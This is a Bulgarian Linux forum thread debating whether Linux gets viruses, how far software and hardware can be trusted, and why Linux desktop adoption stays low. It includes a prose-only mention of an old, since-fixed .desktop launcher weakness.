Таааа да, в конкретния случай така вероятно стават нещата понякога. Прекалено очевидни, за да може някой да заподозре нещо. Това със саботажите и конспирациите като цяло е доста забавна тема. Има някои хора, които са толкова вживяни в конспирационни теории. Аз поне лично имам рядкото щастие да имам лични наблюдения върху едно малко подмножество от тях, покрай предишната ми работа. Впоследствие съм чувал от разни хора, примерно нови колеги, разни ненормални конспирационни теории. Много е трудно да обясниш защо са ненормални. Та един ден обясних на колегата с тези теории, че ако има да казва нещо на някого, за което не иска никой да знае, най-добре е просто да не го казва по телефона, и за жалост, мнението ми беше разтълкувано прекалено превратно :)

Истината е че човек не може да бъде сигурен в нищо, но сигурността е нищо повече от risk management. Няма гаранция, че софтуера не е хитро backdoor-нат и който вярва в обратното е идиот. Няма гаранция и за хардуера, колкото и да е странно. При все това не бих заживял като Столман да ползвам скапан китайски хардуер защото е свободен и wget вместо нормален браузър, защото сайтовете ми траквали cookie-тата, user agent-а и тем подобни глупости. Това което аз лично имам да крия не е толкова важно. И по-важното, което имам да крия, мисля че съм взел достатъчно адекватни мерки да го скрия.

Истината е че човек не може да бъде сигурен в нищо, но сигурността е нищо повече от risk management. Няма гаранция, че софтуера не е хитро backdoor-нат и който вярва в обратното е идиот. Няма гаранция и за хардуера, колкото и да е странно. При все това не бих заживял като Столман да ползвам скапан китайски хардуер защото е свободен и wget вместо нормален браузър, защото сайтовете ми траквали cookie-тата, user agent-а и тем подобни глупости. Това което аз лично имам да крия не е толкова важно. И по-важното, което имам да крия, мисля че съм взел достатъчно адекватни мерки да го скрия.

Абсолютно вярно. Единствено може да допуснем, че авторите на софтуер/хардуер са добронамерени, или поне не са клинически идиоти да бакдор-ват собствените си изделия (изключвам теориите на Конспирацията). Обикновено бакдор-ващите софтуер не са авторите, а други, така че ако си ползвате официалните хранилища, страници на проект с подписи и контролни суми, а не ровите по файло-бунища и торенти за софтуер (освен в най-най-краен случай), рискът за сладки и медени намалява до и дори под разумния минимум. Тук се сещам как един колега беше публикувал връзка към торент на Backtrack в piratebay, точно това за което говоря да не се прави по-горе. Иначе гаранция все така си няма, но ако си направите обективно оценка на риска - на кого всъщност сте интересни, и какво най-много може да загубите? (Тук пък изключвам притежателите на Швейцарски банкови сметки и над 100 карата диаманти, за тях срещу скромно възнаграждение може да проведем същия разговор в друга плоскост хехе)

Знае ли човек :)

Ето един доста спорен казус, свързан с много конспирации:

http://en.wikipedia.org/wiki/NSAKEY

Е, ние нали за това най-много обичаме големите корпорации и техните продукти! ;)

Не ползвам МАК , а и ставаше дума за Линукс и вирусите . Ето ($2) една статия на руски . Последно е обновена преди 6 месеца , но се вижда за какво става дума .

А ако някой толкова напира да си разбере дали може или неможе да си напише сам вирус за Линукс - ето ($2) тук - да прочете и коментарите отдолу .

Статията от последния линк е интересна. Изчетох я и наистина се оказва, че десктоп среди като КДЕ/Гном са предоставяли възможности за заобикаляне на execution bit-a, за да стартираш приложение. Т.е. ако някой свали нещо от е-майл клиента си и кликни на него може да се зарази стига това върху, което клика да е направено като т.нар launcher икони (при Гном това е форматиран текстов файл с разширение .desktop). Те нямат нужда от execution bit, за да стартират и изпълнят някаква команда. Добрата новина е, че това не е валидно понастоящем. Ако сега пробваш да кликнеш нещо такова от файл мениджъра, то той ще откаже да го изпълни понеже няма execution bit. Добре, че това са го оправили иначе човек може да сътвори доста пакости, щото винаги ще се намери някой да кликне върху подобен attachment получен по е-майл, а след това придобиване на root права е въпрос на време. Примерно винаги се налага да се ползва я sudo, я gksu ако искаш да инсталираш софт или пък да извършиш някаква административна задача и тогава може да вкараш в дефиницията на някакъв такъв lаuncher да изпълни и твоята команда (при което получаваш root привилегии).

ПС: Лудницата е пълна, е хубаво е, че хората поне оправят подобни уязвимости (които всъщност са били стандартни опции в графичните среди). От тая гледна точка май Windows не е мръднал много.

След толкова приведени доказателства аз все още се питам защо:
5-те персонални компютъра преди 20 години бяха заразени с вируси,
а сега  5-те инсталирани линукса (при това в мрежата) не са заразени с вируси????
Нали броя им е равен, т.е. имат равна популярност, нали ниската популярността е основното
спасение на линукса от вируси????

След толкова приведени доказателства аз все още се питам защо:
5-те персонални компютъра преди 20 години бяха заразени с вируси,
а сега  5-те инсталирани линукса (при това в мрежата) не са заразени с вируси????
Нали броя им е равен, т.е. имат равна популярност, нали ниската популярността е основното
спасение на линукса от вируси????

Може би ключовата дума е "20 години"?
Защото в момента имам Windows машини, които не са пипвали вирус... нито са преинсталирани, и то от 2008-ма, че даже някои са по-стари...

Защото в момента имам Windows машини, които не са пипвали вирус... нито са преинсталирани, и то от 2008-ма, че даже някои са по-стари...

Но аз ти говоря за популярността. Ако провериш в интернет, ще видиш, че основен довод в линукс да няма вируси в такъв размер както в уиндоус е размера на потребителската база.
И ето да приемем, че потребителската база на линукс сега е изравнена с потребителската база на Уин 3.11 преди 20 години. ИМАШЕ ЛИ ВИРУСИ ЗА УИН 3.11 и колко бяха разпространени и ИМА ЛИ ВИРУСИ ЗА ЛИНУКС и колко са разпространени!

Цитат на: Mitaka в Jan 07, 2012, 22:57

Защото в момента имам Windows машини, които не са пипвали вирус... нито са преинсталирани, и то от 2008-ма, че даже някои са по-стари...

Но аз ти говоря за популярността. Ако провериш в интернет, ще видиш, че основен довод в линукс да няма вируси в такъв размер както в уиндоус е размера на потребителската база.
И ето да приемем, че потребителската база на линукс сега е изравнена с потребителската база на Уин 3.11 преди 20 години. ИМАШЕ ЛИ ВИРУСИ ЗА УИН 3.11 и колко бяха разпространени и ИМА ЛИ ВИРУСИ ЗА ЛИНУКС и колко са разпространени!

В момента Линукс е на нивото на Вин от 90-те, ОК... но докато в момента десктопите с Вин са милиарди, то тези с Линукс едва ли са няколко милиона... според мен е полулярността.
Вируси за Линукс има, просто не са разпространени. А и Линук потребителите са по-компютърно грамотни от масовият Вин потребител - това е и другата причина.

то тези с Линукс едва ли са няколко милиона...

Не се заблуждавай, а пък ако е така - покажи източник на статистика достоверен.

Ако аз с моя скромен потенциал мога да гарантирам поне за 200-250 десктоп-а, интересно ми е какво ли ще гарантират гурута и сисадмини на по-високите нива.

Което ме навежда на мисълта за организиране на някакъв вид статистика да кажем за този сайт поне....

 Според мен една от причините за липсата на зловредни вируси (не тези, които крадат информация а тези, които я унищожават) е моралът на тези, които ги създават - не е едно и също да убиеш поп и данъчен служител. Единия случай ти носи угризения на съвестта а другия - морално удовлетворение. Другата причина според мен е разнообразието на дистрибуции - за да напишеш вирус трябва да го съобразиш с особеностите на дадена дистрибуция, което допълнително стеснява кръга от потенциални жертви.

Цитат

то тези с Линукс едва ли са няколко милиона...

Не се заблуждавай, а пък ако е така - покажи източник на статистика достоверен.

Ако аз с моя скромен потенциал мога да гарантирам поне за 200-250 десктоп-а, интересно ми е какво ли ще гарантират гурута и сисадмини на по-високите нива.

Което ме навежда на мисълта за организиране на някакъв вид статистика да кажем за този сайт поне....

Абсолютно всички статистики сочат около 0.98 - 0.99% дял на Линукс при десктопите.
А имаше и една друга статистика за САЩ - че там дори не знаят какво е Линукс :)
А те са огромен  пазар... но просто нещата са - купуваш си компютър, и той е или с Вин или МАК.

ДЕЛ бяха направили опит да продават компютри с Убунту... спряха, защото всеки, който си купи такъв компютър го преинсталира с Вин.

Друго, което спира развитието на Линукс за десктоп е липсата на достатъчно професионален софтуер - примерно продуктите на Adobe, които се ползват масово, няма читав офис пакет /ОО може да става, но масово се ползва МС Офис. А него го има само за Мак и Вин/.

Другото, което спъва Линукс е липсата на каквато и да е стандартизация на нещата. Милион дистрибуции, които една с друга не си приличат, коренно различна идеология...
Липсват читави драйвери за повечето устройства, като например мощните видео карти /напр. АМД/Нвидиа драйверите винаги са били проблемни/.

Сложността: Често се налага пипане в конзола за някои неща. Потребителите се плашат от конзолата.
И куп други неща...

Стандартизацията в линукс я има ($2) , но не това е проблема . Популярността е нож с две остриета . Колкото по малка популярност - толкова по малко вреден софтуер , но пък и по малко развитие .

//offtopic

за по малка популярност имат вина донякъде и програмистите . Както се спомена - масово използвани продукти / офиси , графични продукти, игри или мултимедия/ нямат добра алтернатива в линукс , или са слабо представени . Един средностатистически потребител винаги се стреми към нещо което има много отзиви за него ( добри или лоши ) за да "прецени" да го ползва или да търси алтернатива . И когато му се представят ( обикновенно в нета ) 90 % М$ срещу 10 % Линукс - и той се ориентира към по-голямото разнообразие .

Другото което води до по малка популярност е "мисленето" на фирмите . Наскоро четох интервю на някакъв много добър сисадмин поучаващ 6 цифрени суми годишно . На въпрос за квалификацията му той отвръща че има LPI 3-то ниво но до него момент нито една фирма не е обръщала сериозно внимание на този сертификат .

Но това с популярноста е отделна тема .

//end_offtopic


Ето ($2) една бегла статистика за някой ОС и браузъри .

Между другото потребителите не се плашат от конзолата - просто ги мързи ( нищо лично ) . Ако нещо може да е autoconfig ( install , next , next , next -> run )  защо да се мъчи с друго за което трябва да отдели няколко часа ( търсене в нета , писане на въпроси във форуми и т.н. ) .

Вируси винаги ще има . Долкото ми е известно дори в някои големи университети създаването на вирус за определена система е курсова работа - за да се видело кой колко добре познава системата ( поне за 1 в Англия и 1 в Канада университети ми е споменавано ) .